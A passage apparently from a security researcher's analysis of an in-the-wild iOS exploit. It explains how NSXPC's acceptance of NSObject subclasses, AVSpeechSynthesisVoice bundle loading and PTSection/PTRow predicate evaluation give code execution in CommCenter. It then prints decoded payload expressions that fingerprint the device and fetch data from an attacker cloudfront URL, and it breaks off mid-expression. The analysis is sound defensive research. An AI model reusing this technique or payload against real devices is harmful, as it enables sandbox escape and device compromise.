<p class="YDzVciBUld-c4"><span>I say NSXPC is only semi-transparent because it does enforce some restrictions on what objects are allowed to traverse process boundaries. Any object "exported" via </span><span class="YDzVciBUld-c0">NSXPC</span><span> must also define a </span><span class="YDzVciBUld-c0">protocol</span><span> which designates which methods can be invoked and the allowable types for each argument. The </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW7">NSXPC programming guide</a></span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> further explains the extra handling required for methods which require collections and other edge cases.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>The low-level serialization used by NSXPC is the same explored by Natalie Silvanovich in her 2019 blog post looking at </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://googleprojectzero.blogspot.com/2019/08/the-fully-remote-attack-surface-of.html">the fully-remote attack surface of the iPhone</a></span><span>. An important observation in that post was that </span><span class="YDzVciBUld-c14">subclasses of classes with any level of inheritance are also allowed, as is always the case with NSKeyedUnarchiver deserialization.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This means that any </span><span class="YDzVciBUld-c0">protocol</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> object which declares a particular type for a field will also, by design, accept any subclass of that type.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c3">The logical extreme of this would be that a protocol which declared an argument type of NSObject would allow any subclass, which is the vast majority of all Objective-C classes.</span></p><h2 class="YDzVciBUld-c7" id="h.v64ixuc668lc"><span class="YDzVciBUld-c9 YDzVciBUld-c3">Grep to the rescue</span></h2>
<p class="YDzVciBUld-c4"><span>This is fairly easy to analyze automatically. Protocols are defined statically so we can just find them and check each one. Tools like </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://github.com/nst/RuntimeBrowser/">RuntimeBrowser</a></span><span> and </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="http://stevenygard.com/projects/class-dump/">classdump</a></span><span> can parse the static protocol definitions and output human-readable source code. Grepping the output of RuntimeBrowser like this is sufficient to find dozens of cases of </span><span class="YDzVciBUld-c0">NSObject</span><span> </span><span class="YDzVciBUld-c2 YDzVciBUld-c3">pointers in Objective-C protocols:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> $ egrep -Rn "\(NSObject \*\)arg" *</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Not all the results are necessarily exposed via </span><span class="YDzVciBUld-c0">NSXPC</span><span>, but some clearly are, including the following two matches in </span><span class="YDzVciBUld-c0">CoreTelephony.framework</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">Frameworks/CoreTelephony.framework/\</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">CTXPCServiceSubscriberInterface-Protocol.h:39:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">-(void)evaluateMobileSubscriberIdentity:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> (CTXPCServiceSubscriptionContext *)arg1</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> identity:(NSObject *)arg2</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> completion:(void (^)(NSError *))arg3;</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">Frameworks/CoreTelephony.framework/\</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">CTXPCServiceCarrierBundleInterface-Protocol.h:13:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">-(void)setWiFiCallingSettingPreferences:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> (CTXPCServiceSubscriptionContext *)arg1</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> key:(NSString *)arg2</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> value:(NSObject *)arg3</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> completion:(void (^)(NSError *))arg4;</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">evaluateMobileSubscriberIdentity</span><span> string appears in the list of selector-like strings we first saw when running strings on the </span><span class="YDzVciBUld-c0">bplist00</span><span>. Indeed, looking at the parsed and beautified </span><span class="YDzVciBUld-c0">NSFunctionExpression</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> we see it doing this:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[ [ [CoreTelephonyClient alloc] init]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> context:X</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> evaluateMobileSubscriberIdentity:Y]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This is a wrapper around the lower-level </span><span class="YDzVciBUld-c0">NSXPC</span><span> code and the argument passed as </span><span class="YDzVciBUld-c0">Y</span><span> above to the CoreTelephonyClient method corresponds to the </span><span class="YDzVciBUld-c0">identity:(NSObject *)arg2</span><span> argument passed via </span><span class="YDzVciBUld-c0">NSXPC</span><span> to </span><span class="YDzVciBUld-c0">CommCenter</span><span> (which is the process that hosts </span><span class="YDzVciBUld-c0">com.apple.commcenter.xpc</span><span>, the </span><span class="YDzVciBUld-c0">NSXPC</span><span> service underlying the </span><span class="YDzVciBUld-c0">CoreTelephonyClient</span><span>). Since the parameter is explicitly named as </span><span class="YDzVciBUld-c0">NSObject*</span><span> we can in fact pass any subclass of </span><span class="YDzVciBUld-c0">NSObject*</span><span>, including an </span><span class="YDzVciBUld-c0">NSPredicate</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">! Game over?</span></p><h2 class="YDzVciBUld-c7" id="h.7ums8k4ivkbp"><span class="YDzVciBUld-c9 YDzVciBUld-c3">Parsing vs Evaluation</span></h2>
<p class="YDzVciBUld-c4"><span>It's not quite that easy. The </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://blog.chichou.me/2021/01/16/see-no-eval-runtime-code-execution-objc/">DezhouInstrumentz writeup</a></span><span> discusses this attack surface and notes that there's an extra, specific mitigation. When an </span><span class="YDzVciBUld-c0">NSPredicate</span><span> is deserialized by its </span><span class="YDzVciBUld-c0">initWithCoder:</span><span> implementation it sets a flag which disables evaluation of the predicate until the </span><span class="YDzVciBUld-c0">allowEvaluation</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> method is called.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>So whilst you certainly can pass an </span><span class="YDzVciBUld-c0">NSPredicate*</span><span> as the </span><span class="YDzVciBUld-c0">identity</span><span> argument across NSXPC and get it deserialized in </span><span class="YDzVciBUld-c0">CommCenter,</span><span> </span><span>the implementation of </span><span class="YDzVciBUld-c0">evaluateMobileSubscriberIdentity:</span><span> in </span><span class="YDzVciBUld-c0">CommCenter</span><span> is definitely not going to call </span><span class="YDzVciBUld-c0">allowEvaluation:</span><span> to make the predicate safe for evaluation then </span><span class="YDzVciBUld-c0">evaluateWithObject:</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> and then evaluate it.</span></p><h2 class="YDzVciBUld-c7" id="h.34h1kqwr3d8t"><span class="YDzVciBUld-c9 YDzVciBUld-c3">Old techniques, new tricks</span></h2>
<p class="YDzVciBUld-c4"><span>From the exploit we can see that they in fact pass an </span><span class="YDzVciBUld-c0">NSArray</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> with two elements:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[0] = AVSpeechSynthesisVoice</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[1] = PTSection {rows = NSArray { [0] = PTRow() }</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>The first element is an </span><span class="YDzVciBUld-c0">AVSpeechSynthesisVoice</span><span> object and the second is a </span><span class="YDzVciBUld-c0">PTSection</span><span> containing a single </span><span class="YDzVciBUld-c0">PTRow</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">. Why?</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">PTSection</span><span> and </span><span class="YDzVciBUld-c0">PTRow</span><span> are both defined in the </span><span class="YDzVciBUld-c0">PrototypeTools</span><span> private framework. </span><span class="YDzVciBUld-c0">PrototypeTools</span><span> isn't loaded in the </span><span class="YDzVciBUld-c0">CommCenter</span><span> target process. Let's look at what happens when an </span><span class="YDzVciBUld-c0">AVSpeechSynthesisVoice</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> is deserialized:</span></p><h2 class="YDzVciBUld-c7" id="h.ihjz2r1jcklz"><span>Finding a voice</span></h2>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">AVSpeechSynthesisVoice</span><span> is implemented in </span><span class="YDzVciBUld-c0">AVFAudio.framework</span><span>, which </span><span class="YDzVciBUld-c14">is</span><span> loaded in </span><span class="YDzVciBUld-c0">CommCenter</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">$ sudo vmmap `pgrep CommCenter` | grep AVFAudio</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">__TEXT 7ffa22c4c000-7ffa22d44000 r-x/r-x SM=COW \</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">/System/Library/Frameworks/AVFAudio.framework/Versions/A/AVFAudio</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Assuming that this was the first time that an </span><span class="YDzVciBUld-c0">AVSpeechSynthesisVoice</span><span> object was created inside CommCenter (which is quite likely) the Objective-C runtime will call the </span><span class="YDzVciBUld-c0">initialize</span><span> method on the </span><span class="YDzVciBUld-c0">AVSpeechSynthesisVoice</span><span> class </span><span class="YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://developer.apple.com/documentation/objectivec/nsobject/1418639-initialize?language=objc">before instantiating the first instance</a></span><span class="YDzVciBUld-c2 YDzVciBUld-c3">.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">[AVSpeechSynthesisVoice initialize]</span><span> has a </span><span class="YDzVciBUld-c0">dispatch_once</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> block with the following code:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSBundle* bundle;</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">bundle = [NSBundle bundleWithPath:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> @"/System/Library/AccessibilityBundles/\</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> AXSpeechImplementation.bundle"];</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">if (![bundle isLoaded]) {</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> NSError err;</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [bundle loadAndReturnError:&err]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">}</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>So sending a serialized </span><span class="YDzVciBUld-c0">AVSpeechSynthesisVoice</span><span> object will cause </span><span class="YDzVciBUld-c0">CommCenter</span><span> to load the </span><span class="YDzVciBUld-c0">/System/Library/AccessibilityBundles/AXSpeechImplementation.bundle</span><span> library. With some scripting using otool -L to list dependencies we can find the following dependency chain from </span><span class="YDzVciBUld-c0">AXSpeechImplementation.bundle</span><span> to </span><span class="YDzVciBUld-c0">PrototypeTools.framework</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">['/System/Library/AccessibilityBundles/\</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> AXSpeechImplementation.bundle/AXSpeechImplementation',</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> '/System/Library/AccessibilityBundles/\</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> AXSpeechImplementation.bundle/AXSpeechImplementation',</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> '/System/Library/PrivateFrameworks/\</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> AccessibilityUtilities.framework/AccessibilityUtilities',</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> '/System/Library/PrivateFrameworks/\</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> AccessibilitySharedSupport.framework/AccessibilitySharedSupport',</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">'/System/Library/PrivateFrameworks/Sharing.framework/Sharing',</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">'/System/Library/PrivateFrameworks/\</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> PrototypeTools.framework/PrototypeTools']</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This explains how the deserialization of a </span><span class="YDzVciBUld-c0">PTSection</span><span> will succeed. But what's so special about </span><span class="YDzVciBUld-c0">PTSections</span><span> and </span><span class="YDzVciBUld-c0">PTRows</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">?</span></p><h2 class="YDzVciBUld-c7" id="h.tsdrbvcjutdl"><span>Predicated Sections</span></h2>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">[PTRow initwithcoder:]</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> contains the following snippet:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> self->condition = [coder decodeObjectOfClass:NSPredicate</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> forKey:@"condition"]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [self->condition allowEvaluation]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This will deserialize an </span><span class="YDzVciBUld-c0">NSPredicate</span><span> object, assign it to the </span><span class="YDzVciBUld-c0">PTRow</span><span> member variable </span><span class="YDzVciBUld-c0">condition</span><span> and call </span><span class="YDzVciBUld-c0">allowEvaluation</span><span>. This is meant to indicate that the deserializing code considers this predicate safe, but there's no attempt to perform any validation on the predicate contents here. They then need one more trick to find a path to which will additionally evaluate the </span><span class="YDzVciBUld-c0">PTRow</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">'s condition predicate.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>Here's a snippet from </span><span class="YDzVciBUld-c0">[PTSection initWithCoder:]</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">NSSet* allowed = [NSSet setWithObjects: @[PTRow]]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c0">id* rows = [coder </span><span class="YDzVciBUld-c0">decodeObjectOfClasses</span><span class="YDzVciBUld-c2 YDzVciBUld-c0">:allowed forKey:@"rows"]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c0"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[self initWithRows:rows]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This deserializes an array of </span><span class="YDzVciBUld-c0">PTRows</span><span> and passes them to </span><span class="YDzVciBUld-c0">[PTSection initWithRows]</span><span> which assigns a copy of the array of </span><span class="YDzVciBUld-c0">PTRows</span><span> to</span><span class="YDzVciBUld-c0"> PTSection->rows</span><span> then calls </span><span class="YDzVciBUld-c0">[self </span><span class="YDzVciBUld-c0">_reloadEnabledRows</span><span class="YDzVciBUld-c0">]</span><span> which in turn passes each row to </span><span class="YDzVciBUld-c2 YDzVciBUld-c0">[self _shouldEnableRow:]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">_shouldEnableRow:row {</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> if (row->condition) {</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> return [row->condition evaluateWithObject: self->settings]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> }</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">}</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>And thus, by sending a </span><span class="YDzVciBUld-c0">PTSection</span><span> containing a single </span><span class="YDzVciBUld-c0">PTRow</span><span> with an attached condition </span><span class="YDzVciBUld-c0">NSPredicate</span><span> they can cause the evaluation of an arbitrary </span><span class="YDzVciBUld-c0">NSPredicate</span><span>, effectively equivalent to arbitrary code execution in the context of </span><span class="YDzVciBUld-c0">CommCenter</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">. </span></p><h2 class="YDzVciBUld-c7" id="h.9aaj7tmx81zt"><span class="YDzVciBUld-c9 YDzVciBUld-c3">Payload 2</span></h2>
<p class="YDzVciBUld-c4"><span>The </span><span class="YDzVciBUld-c0">NSPredicate</span><span> attached to the </span><span class="YDzVciBUld-c0">PTRow</span><span> uses a similar trick to the first payload to cause the evaluation of six independent </span><span class="YDzVciBUld-c0">NSFunctionExpressions</span><span>, but this time in the context of the </span><span class="YDzVciBUld-c0">CommCenter</span><span> process. </span><span>They're presented here in pseudo Objective-C:</span></p><h3 class="YDzVciBUld-c8" id="h.4c2mqlgknm1m"><span class="YDzVciBUld-c10 YDzVciBUld-c3">Expression 1</span></h3>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[ [CaliCalendarAnonymizer sharedAnonymizedStrings]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> setObject:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> @[[NSURLComponents</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> componentsWithString:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> @"https://cloudfront.net/XXX/XXX/XXX?aaaa"], '0']</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> forKey: @"0"</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>The use of </span><span class="YDzVciBUld-c0">[CaliCalendarAnonymizer sharedAnonymizedStrings]</span><span> is a trick to enable the array of independent </span><span class="YDzVciBUld-c0">NSFunctionExpressions</span><span> to have "local variables". In this first case they create an </span><span class="YDzVciBUld-c0 YDzVciBUld-c6"><a class="YDzVciBUld-c111" href="https://developer.apple.com/documentation/foundation/nsurlcomponents">NSURLComponents</a></span><span> object which is used to build parameterised URLs. This URL builder is then stored in the global dictionary returned by </span><span class="YDzVciBUld-c0">[CaliCalendarAnonymizer sharedAnonymizedStrings]</span><span> under the key "</span><span class="YDzVciBUld-c0">0</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">".</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p><h3 class="YDzVciBUld-c8" id="h.f96qjcb9lnky"><span class="YDzVciBUld-c10 YDzVciBUld-c3">Expression 2</span></h3>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[[NSBundle</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> bundleWithPath:@"/System/Library/PrivateFrameworks/\</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> SlideshowKit.framework/Frameworks/OpusFoundation.framework"</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ] load]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This causes the </span><span class="YDzVciBUld-c0">OpusFoundation</span><span> library to be loaded. The exact reason for this is unclear, though the dependency graph of </span><span class="YDzVciBUld-c0">OpusFoundation</span><span> does include </span><span class="YDzVciBUld-c0">AuthKit</span><span> which is used by the next </span><span class="YDzVciBUld-c0">NSFunctionExpression</span><span>. It's possible that this payload is generic and might also be expected to work when evaluated in processes where </span><span class="YDzVciBUld-c0">AuthKit</span><span> isn't loaded.</span></p><h3 class="YDzVciBUld-c8" id="h.o9lhtiv01xpk"><span class="YDzVciBUld-c3 YDzVciBUld-c10">Expression 3</span></h3>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[ [ [CaliCalendarAnonymizer sharedAnonymizedStrings]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> objectForKey:@"0" ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> setQueryItems:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [ [ [NSArray arrayWithObject: </span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [NSURLQueryItem</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> queryItemWithName: @"m"</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> value:[AKDevice _hardwareModel] ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ] arrayByAddingObject: </span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [NSURLQueryItem</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> queryItemWithName: @"v"</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> value:[AKDevice _buildNumber] ]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> ] arrayByAddingObject:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [NSURLQueryItem</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> queryItemWithName: @"u"</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> value:[NSString randomString]]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">]</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span>This grabs a reference to the </span><span class="YDzVciBUld-c0">NSURLComponents</span><span> object stored under the "</span><span class="YDzVciBUld-c0">0</span><span>" key in the global </span><span class="YDzVciBUld-c0">sharedAnonymizedStrings</span><span class="YDzVciBUld-c2 YDzVciBUld-c3"> dictionary then parameterizes the HTTP query string with three values:</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span> </span><span class="YDzVciBUld-c0">[AKDevice _hardwareModel]</span><span> returns a string like "</span><span class="YDzVciBUld-c0">iPhone12,3</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">" which determines the exact device model.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span> </span><span class="YDzVciBUld-c0">[AKDevice _buildNumber]</span><span> returns a string like "</span><span class="YDzVciBUld-c0">18A8395</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">" which in combination with the device model allows determining the exact firmware image running on the device.</span></p>
<p class="YDzVciBUld-c1"><span class="YDzVciBUld-c2 YDzVciBUld-c3"></span></p>
<p class="YDzVciBUld-c4"><span> </span><span class="YDzVciBUld-c0">[NSString randomString]</span><span> returns a decimal string representation of a 32-bit random integer like "</span><span class="YDzVciBUld-c0">394681493</span><span class="YDzVciBUld-c2 YDzVciBUld-c3">".</span></p><h3 class="YDzVciBUld-c8" id="h.ifxeb8zet13e"><span class="YDzVciBUld-c10 YDzVciBUld-c3">Expression 4</span></h3>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0">[ [CaliCalendarAnonymizer sharedAnonymizedString]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> setObject:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [NSPropertyListSerialization</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> propertyListWithData:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [[[NSData</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> dataWithContentsOfURL:</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> [[[CaliCalendarAnonymizer sharedAnonymizedStrings]</span></p>
<p class="YDzVciBUld-c4"><span class="YDzVciBUld-c2 YDzVciBUld-c0"> objectForKey:@"0"] URL]</span></p>
